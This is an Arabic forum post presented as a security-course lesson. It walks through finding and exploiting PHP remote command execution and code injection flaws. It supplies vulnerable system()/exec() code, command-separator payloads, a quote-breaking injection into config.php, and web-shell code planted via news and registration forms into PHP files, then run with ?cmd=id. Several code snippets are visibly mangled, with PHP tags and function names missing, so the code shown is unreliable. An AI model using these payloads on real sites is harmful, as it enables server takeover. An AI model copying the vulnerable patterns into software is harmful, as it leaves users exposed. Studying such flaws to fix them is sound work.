شرقاوي مشرف عـام
الساعه الان : عدد المساهمات : 229 نقاط : 4865 السٌّمعَة : 6 01/01/1988 تاريخ التسجيل : 09/12/2011 العمر : 36 الموقع : قمة أفرست
تقييمك للمنتدى تواجدك في المنتدى: (71/105)
| موضوع: شرح اكتشاف واستغلال ثغرات Remote Command Execution و PHP Code Injection الثلاثاء مارس 06, 2012 5:07 am | |
| السلام عليكم
إزيكو يارجاله درس من دروس دورة الحمايه للأبد قلت نحطه هنا لعل الاخوان يستفيدو منه
الدرس النهارده ان شاء الله عن ثغرات ال Remote Command Execute او بتعرف اختصارا بإسم RCE بالاضافه لشرح ثغرات PHP Code Injection
هنتكلم عن اكتشاف الثغره + كذا طريقه لاستغلالها + تخطى بعض المشاكل اللى ممكن تواجهنا اثناء التطبيق مكنش هينفع الشرح فيديو لان الموضوع عايز فهم اكتر من ما هو محتاج تطبيق فى الاخر فيه اختبار صغير كده
نبدأ على بركة الله
كبدايه كده أشهر داله مستخدمه فى تنفيذ الاوامر هى دالة system الشكل التقليدى للداله بيكون كده
كود PHP: $cmd=$_GET['cmd']; system($cmd);
يبقى لو فرضنا ان اسم الملف اللى فيه الكود ده هو vuln.php يبقى الاستغلال هيكون كده vuln.php?cmd=ls -la والنتيجه هتكون تنفيذ الأمر بتاعنا يبقى لو عايزين نبحث عن ملف مصاب بالثغره نستخدم اى برنامج زى النوت باد بلس بلس مثلا ونبحث عن system( او exec( passthru( وهكذا ونبص على الكود تابع الموضوع وانت تعرف الطريقه المناسبه للاستغلال فيه دوال تانيه لتنفيذ الأوامر زى passthru shell_exec exec نمسكهم واحده واحده كده system هتطبق الأمر وتعرضلك النتيجه فى الصفحه passthru هتطبق الأمر وتعرضلك نتيجته فى الصفحه shell_exec هتطبق الأمر لكن هتعرض النتيجه كمتغير exec هتطبق الأمر لكن مش هتعرض النتيجه فل كده؟؟ من الكلام اللى فوق ده نعرف ان لو السكربت المصاب موجود فيه دالة exec بالشكل ده مثلا
كود PHP:$cmd=$_GET['cmd']; echo exec($cmd);
يبقى الاستغلال كده vuln.php?cmd=ls -la مش هتشوف نتيجة الأمر لكن فى الحقيقه الأمر اتنفذ بالفعل تمام لحد دلوقت؟
ركز فى اللى جى بقى لان كل اللى فوق ده ولا حاجه هاتلك فنجان قهوه كده واقفل الأغانى وفتح عي*** معايا كويس أوى
ناخد المثال الاول سكربت من سكربتات whois lookup نبص على الكود كده
كود PHP:include("common.php"); showMenu(); echo ' '; $status = $_GET['status']; $ns = $_GET['ns']; $host= $_GET['host']; $query_type= $_GET['query_type']; $ip = $_SERVER['REMOTE_ADDR']; $self= $_SERVER['PHP_SELF']; $host = trim($host); $host = strtolower($host); echo("Executing : dig @$ns $host $query_type "); echo '' ; //start digging in the namserver system ("dig @$ns $host $query_type"); echo ''; ?> واخدين بالكو من دى؟؟
كود PHP:system ("dig @$ns $host $query_type");
فل يبقى لو فرضنا ان اسم الملف vuln.php يبقى الاستغلال هيبقى ايه؟؟ حاول تطلعه مع نفسك كده زى ما عملنا فووووق فى اول الموضوع
المفروض الاستغلال يبقى كده vuln.php?ns=id&host=sec4ever.com&query_type=ANY&st atus=digging يبقى من بين كل دول انا عدلة خانة ns وحطيت فيها الامر بتاعى اللى هو id طبق كده وشوف النتيجه مفيش أوامر اتنفذت ليه؟؟ الاستغلال اللى اجنا كتبناه اما ييجى يتنفذ هيتنفذ بالشكل ده system ("dig id sec4ever.com ANY"); طبعا أمر ملوش معنى طب والحل؟؟؟ الحل يا معلم اننا نفصل الأمر اللى عايزين نطبقه عن باقى الاوامر طب ازاى؟؟ كده يا حج ; او || انت اما بتحب تنفذ كذا امر جنب بعض فى اللينكس بتنفذهم كده ls -la;id;uname-a تمام؟؟ بس هنا مش هينفع نستخدم ; يبقى خلينا فى || كده بينفذ الاوامر واحد بعد التانى نفس الفكره هنا احنا عايزين ننفذ الأمر بتاعنا لوحده ونفصله عن اللى قبله واللى بعده يبقى هننفذه بالطريقه دى vuln.php?ns=||id||&host=sec4ever.com&query_type=AN Y&status=digging الأمر هيتنفذ بالشكل ده system ("dig ||id|| sec4ever.com ANY"); بكده هنلاقيه نفذ أمر dig وبعدين id وهنلاقيه عرضلنا النتيجه زى الفل
نبدأ فى حقن أكواد البى اتش بى وتشغيل الدماغ بقى اقرا المثال كذا مره عشان تستوعب كويس وبعدها خش على المثال التانى
PHP Code Injection
هنقوم احنا بنفسنا بحقن كود ال RCE فيه او ممكن نحقن اى كود بى اتش بى طبعا بس خلينا فى الريموت كوماند المثال
كود PHP:if(isset($action) && $action == "setconfig") { $config_file = "config.php"; $handle = fopen($config_file, 'w'); $StringData = "$"."news_width = '".clean($_POST[news_width])."';r $"."bgcolor = '".clean($_POST[bgcolor])."';r $"."fgcolor = '".clean($_POST[fgcolor])."';r $"."padding = '".clean($_POST[padding])."';r $"."subject_margin = '".clean($_POST[subject_margin])."';r $"."fontname = '".clean($_POST[fontname])."';r $"."fontsize = '".clean($_POST[fontsize])."';rn?>"; fwrite($handle, $StringData); }برىء فى الظاهر مفيش لا سيستم ولا بطيخ طيب نشوف بيعمل ايه البتاع ده
كود PHP:config_file = "config.php"; $handle = fopen($config_file, w
مرتبط بملف تانى اللى هو config.php وبيعدل عليه تمام نشوف ملف config.php
كود PHP:$news_width = '600px'; $bgcolor = '#000000'; $fgcolor = '#ffffff'; $padding = '5px'; $subject_margin = '0px'; $fontname = 'verdana'; $fontsize = '13px'; ?> واضح كده ان ملف الكونفيج بيستقبل متغيرات عن طريق الملف الأولانى يبقى ممكن نعدل فى المعلومات اللى بتتحط فى الكونفيج دى ونحط مكانها كود ريموت كوماند نحقن مثلا الكود ده
كود PHP:($_GET['cmd']); ?> فى خانة $news_width طيب تعالى نروح نحقن الكود كده user.php?action=setconfig حطينا الكود نجرب نطبق الامر بالشكل ده config.php?cmd=id هيدينا إيرور السبب لو بصينا على ملف الكونفيج هنلاقيه كده
كود PHP:$news_width = '($_GET['cmd']); ?>'; والكود طبعا غلط بالمره يبقى لازم فى الحاله دى نشغل البصله برضه يا جدعان نشوف الكود الاصلى كده $news_width = '600px'; طيب ايه رأيك نجرب الكود ده ';system($_GET['cmd']);' شوف هيبقى فى ملف الكونفيج ازاى
كود PHP:$news_width = '';system($_GET['cmd']);'';
نقسمه كده $news_width = ''; ده كود لوحده
system($_GET['cmd']); وده كود لوحده وهو اللى يهمنا
''; وده كود لوحده
كل اللى عملناه اننا قفلنا اقواس التنصيص وحطينا نهايه للكود باستخدام ; وبعدها بدأنا كود جديد اللى هو فيه دالة السيستم وقفلناه برضه وبعدين كود اخير عباره عن قوسين تنصيص وخلاص نروح نجرب config.php?cmd=id اتنفذ زى الفل اكتشاف واستغلال ثغرات Remote Command
نبص ع مثال تالت هنا الأخبار بتتكتب فى ملف اسمه news.txt نبص على الملف كده
كود: test | Posted on: 08/06/2009 | test |
طيب ما احنا نقدر نحقن كود بى اتش بى تبعنا بس الملف تكست يبقى مش هيتنفذ؟ غلط احنا هنحقنه فى ملف تكست لكن هنستعرضه من ملف بى اتش بى ازاى؟ نبص على الملف اللى بيكتب الأخبار كده
كود PHP:$newsfile = "news.txt"; $file = fopen($newsfile, "r"); elseif ((isset($_REQUEST["title"])) && (isset($_REQUEST["date"])) && (isset($_REQUEST["post"])) && ($_REQUEST["title"]!="") && ($_REQUEST["date"]!="") && ($_REQUEST["post"]!="")) { $current_data = @fread($file, filesize($newsfile)); fclose($file); $file = fopen($newsfile, "w"); $_REQUEST["post"] = stripslashes(($_REQUEST["post"])); $_REQUEST["date"] = stripslashes(($_REQUEST["date"])); $_REQUEST["title"] = stripslashes(($_REQUEST["title"])); if(fwrite($file,$btable . " " . $btitle . " " . $_REQUEST["title"] . " " . $etitle . " " . $bdate . " " . $_REQUEST["date"] . " " . $edate . " " . $bpost . " " . $_REQUEST["post"] . " " . $epost . " " . $etable . "\n " . $current_data)) include 'inc/posted.html'; else include 'inc/error1.html'; fclose($file); }
واضح من الكود ان الاخبار بتتكتب فى ملف news.txt طيب الزوار أكيد مش هيدخلو على ملف news.txt لان كله اكواد هتمل الزائر العادى مش هيفهم منها حاجه اكيد فيه مكان بيشوفو فيه الاخبار نبص فى السكربت نلاقى ملف اسمه مثلا display.php
كود PHP: include("news.txt"); ?> فل طيب نحقن كودنا عن طريق ملف post.php عن طريق التيتل مثلا
كود PHP:($_GET['cmd']); ?> طيب هنلاقى نتيجتنا فى ملف news.txt زى كده
كود: | Posted on: 08/06/2009 | test2 |
test | Posted on: 08/06/2009 | test |
ممنهاش فايده طبعا لكن فى ملف display.php هنلاقيها بالشكل ده
كود PHP: <table class='sn'> <tbody> <tr><td class='sn-title'> php system($_GET['cmd']); ?> | Posted on: 08/06/2009 | test2 |
test | Posted on: 08/06/2009 | test |
?>
فل استعرضه على انه بى اتش بى ننفذ أمرنا بالطريقه دى display.php?cmd=id والنتيجه تم تنفيذ الأمر بدون مشاكل يبقى هنا اللى عملناه حقننا كود عن طريق ملف post.php الى ملف news.txt واستعرضنا النتيجه من ملف display.php
ناخد مثال كمان اصعب شويه من اللى فوق فى المثال ده اما بنعمل عضويه جديده بتتسجل البيانات فى ملف بى اتش بى نبص على بعض اكواد الملف المسئول عن التسجيه add_reg.php نلاقى
كود PHP: $user = $_POST['user']; $pass1 = $_POST['pass1']; $pass2 = $_POST['pass2']; $email1 = $_POST['email1']; $email2 = $_POST['email2']; $******** = $_POST['********']; $url = $_POST['url']; $filename = "./sites/".$user.".php"; $html = "$regdate = "$date"; \$user = "$user"; \$pass = "$pass1"; \$email = "$email1"; \$******** = "$********"; \$url = "$url"; ?>"; $fp = fopen($filename, 'a+'); fputs($fp, $html) or die("Could not open file!");
ركز فى الكود كده هتلاقيه بيعمل ملف باسم اليوزر اللى انت بتكتبه فى مجلد sites يعنى مثلا لو سجلت بإسم faris هيعمل ملف كده site.com/sites/faris.php طيب واحنا بنسجل ليه منحقنش الكود تبعنا؟ ناخد مثلا خانة $******** = $_POST['********']; بيطلب منك تكتب الاقامه طيب نحطله الخزوق بتاعنا
كود PHP: ($_GET['cmd']); ?>
النتيجه فى ملف faris.php هتبقى كده
كود PHP: $regdate = "13 feb 2011, 4:16 PM"; $user = "faris"; $pass = "xxxxx"; $email = "faris@yahoo.com"; $******** = ""; $url = "http://sec4ever.com"; ?>
حاول تستعرض الملف sec4ever.com/site/faris.php النتيجه
اقتباس:
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING |
رد علينا بخازوق مماثل اكتشاف واستغلال ثغرات Remote Command) طيب حاول تطلع الحل انت كده ازاى نخليه ينفذ الاوامر من غير خطأ؟؟
نعمل تعديل صغنون فى الكود اللى بنحقنه نخليه كده
كود PHP: ";?>($_GET['cmd']);?>="
ههههههههههههههه بسيطه صح؟؟ هيبقى شكله كده فى الملف تبعنا
كود PHP: $regdate = "13 fabr 2011, 4:18 PM"; $user = "farisa"; $pass = "xxxxx"; $email = "farisssss@yahoo.com"; $******** = "";?>($_GET['cmd']);?>=""; $url = "http://sec4ever.com"; ?>
نفصل الكود تبعنا "";?> أنهينا بيها اكواد البى اتش بى زى كده
كود PHP: $regdate = "13 fabr 2011, 4:18 PM"; $user = "farisa"; $pass = "xxxxx"; $email = "farisssss@yahoo.com"; $******** = ""; ?>
قولناله ان دى نهاية كود البى اتش بى
كود PHP: ($_GET['cmd']);?>
بعدها كود بى اتش بى جديد اللى فيه الخزوق تبعنا
كود PHP: ="";
يدأنا ملف بى اتش بى جديد زى كده
كود PHP: =""; $url = "http://sec4ever.com";?>
وبعدها يبدأ كود جديد تالت نروح نستعرض الملف sec4ever.com/site/farisa.php?cmd=id والنتيجه اتنفذ الكود بدون أخطاء
وبكده انتهى الدرس ده
ملحوظه : اثناء استغلال الثغره يفضل ان تستغلها داخل notepad ++ عشان الوان الكود تبقى واضحه قدامك وتسهل عليك الاستغلال نسبه كبيره من الدرس مترجمه مع زياده فى الشرح من أجل توصيل المعلومه
هذا وإن أصبت فمن الله وإن أخطأت فمنى ومن الشيطان
أى استفسار موجود ان شاء الله
اكتشاف واستغلال ثغرات Remote Command
بالتوفيق يا شباب
|